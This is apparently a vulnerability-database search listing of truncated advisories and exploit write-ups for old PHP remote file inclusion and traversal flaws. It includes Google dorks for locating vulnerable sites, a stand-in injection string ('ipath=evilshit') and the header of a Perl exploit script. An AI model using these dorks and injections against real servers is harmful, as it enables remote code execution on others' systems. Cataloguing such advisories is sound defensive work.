10489 matches found
Premod SubDog 2 - '/includes/functions_kb.php?phpbb_root_path' Remote File Inclusion
source: https://www.securityfocus.com/bid/22912/info Premod SubDog 2 is prone to multiple remote file-include vulnerabilities. An attacker can exploit these issues to include an arbitrary remote file containing malicious PHP code and execute it in the context of the webserver process. This may...
JCCorp URLShrink Free 1.3.1 - CreateURL.php Remote File Inclusion
JCCorp URLShrink Free 1.3.1 - CreateURL.php Remote File Inclusion source: https://www.securityfocus.com/bid/22894/info URLshrink Free is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied data. Exploiting this issue may allow an attacker to...
Remote File Include In Script copyright (c) James Coyle; JCcorp
By Hasadya Raed Contact : [email protected] ------------------------------------ Script : copyright c James Coyle; JCcorp Expl : Remote Include File Dork : "copyright © James Coyle; JCcorp" ------------------------------------ B.File : createurl.php ------------------------------------ Exploit :...
Remote File Include In Script Coppermine Photo Gallery
By Hasadya Raed Contact : [email protected] ------------------------------------ Script : Coppermine Photo Gallery Expl : Remote Include File Dork : "Copyright c 2003-2006 Coppermine Dev Team" ------------------------------------ B.Files : imageprocessor.php functions.php picmgmt.inc.php...
Lazarus Guestbook (admin.php)Remote File Include Expliot
Lazarus Guestbook admin.phpRemote File Include Expliot D.Script: http://www.carbonize.co.uk Dork: "Powered by Lazarus Guestbook from carbonize.co.uk" Discovered by Crackman Homepage: http://www.b0rizq.biz Greetz To :B0rizq & redcasper & Draknaz kaiba & brokenproxy and all freind Exploit:...
JCCorp URLShrink Free 1.3.1 - 'CreateURL.php' Remote File Inclusion
source: https://www.securityfocus.com/bid/22894/info URLshrink Free is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied data. Exploiting this issue may allow an attacker to compromise the application and the underlying system; other attacks are...
CVE-2007-1341: Undefined Security Weakness
include/auth/auth.php in Simple Invoices before 2007 03 05 does not use the login system to protect print preview pages for invoices, which might allow attackers to obtain sensitive information...
Magic CMS 4.2.747 (mysave.php file) Remote File Include Vulnerability
Exploit for unknown platform in category web applications ===================================================================== Magic CMS 4.2.747 mysave.php file Remote File Include Vulnerability ===================================================================== '/ -.-...
CVE-2006-7159: Undefined Security Weakness
Directory traversal vulnerability in include/prunetorrents.php in BTI-Tracker 1.3.2 aka btitracker allows remote attackers to delete arbitrary files via ".." sequences in the TORRENTSDIR parameter in a prune action...
PHP-Nuke Module PostGuestbook 0.6.1 (tpl_pgb_moddir) RFI Vulnerability
Exploit for unknown platform in category web applications ====================================================================== PHP-Nuke Module PostGuestbook 0.6.1 tplpgbmoddir RFI Vulnerability ====================================================================== PostGuestbook...
CVE-2006-7130
PHP remote file inclusion vulnerability in backend/primitives/cache/media.php in Jinzora 2.1 and earlier allows remote attackers to execute arbitrary PHP code via a URL in the includepath parameter, a different vector than CVE-2006-6770...
CVE-2006-7117
Multiple directory traversal vulnerabilities in Kubix 0.7 and earlier allow remote attackers to 1 include and execute arbitrary local files via ".." sequences in the theme cookie to index.php, which is not properly handled by includes/head.php; and 2 read arbitrary files via ".." sequences in the...
dbimage-rfi.txt
Remote File Include In DBImageGallery 1.2.2 Discovered By : Hasadya Raed Contact Me : [email protected] Download Script : http://www.dbscripts.net/download/?file=1 B.Files: admin/attributes.php - requireonce $donsimgbasepath admin/images.php - requireonce $donsimgbasepath admin/scan.php -...
Mani Stats Reader <= 1.2 (ipath) Remote File Include Vulnerability
No description provided by source. Mani Admin Plugin Stats Reader V1.2 rfi : dork:"2006 by www.mani-stats-reader.de.vu" "allinurl:.php?ipath= inurl:"css"" vuln:index.php?ipath=evilshit greetz:RST, LinuxPakistan phpfreaks [email protected]...
News-Letterman 1.1 - 'eintrag.php?sqllog' Remote File Inclusion
!/usr/bin/perl News-Letterman 1.1 eintrag.php Remote File Include Exploit Download: http://www.weltennetz.de/download/letterman1.1.zip Vulnerable Code: include $sqllog; Coded by bd0rk || SOH-Crew Usage: exploit.pl target cmd shell shell variable Greetings: str0ke, TheJT, seduce, Perle, CodeR use...
DSquare Exploit Pack: D2SEC_SQLITEMANAGER
Name| d2secsqlitemanager ---|--- CVE| CVE-2007-1232 Exploit Pack| D2ExploitPack Description| SQLiteManager Local File Include Vulnerability Notes|...
Remote File Include In DBImageGallery
Remote File Include In DBImageGallery 1.2.2 Discovered By : Hasadya Raed Contact Me : [email protected] Download Script : http://www.dbscripts.net/download/?file=1 B.Files: admin/attributes.php - requireonce $donsimgbasepath admin/images.php - requireonce $donsimgbasepath admin/scan.php -...
CVE-2007-1219
PHP remote file inclusion vulnerability in actions/del.php in Admin Phorum 3.3.1a allows remote attackers to execute arbitrary PHP code via a URL in the includepath parameter...
Mani Stats Reader <= 1.2 (ipath) Remote File Include Vulnerability
Exploit for unknown platform in category web applications ================================================================== Mani Stats Reader = 1.2 ipath Remote File Include Vulnerability ================================================================== Mani Admin Plugin Stats Reader V1.2 rfi :...
Mani Stats Reader <= 1.2 (ipath) Remote File Include Vulnerability
No description provided by source. Mani Admin Plugin Stats Reader V1.2 rfi : dork:"2006 by www.mani-stats-reader.de.vu" "allinurl:.php?ipath= inurl:"css"" vuln:index.php?ipath=evilshit greetz:RST, LinuxPakistan phpfreaks [email protected] milw0rm.com 2007-03-02...